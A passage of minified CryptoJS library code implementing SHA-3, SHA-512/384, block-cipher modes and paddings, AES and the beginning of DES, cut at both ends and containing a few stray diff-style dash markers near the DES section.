f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + 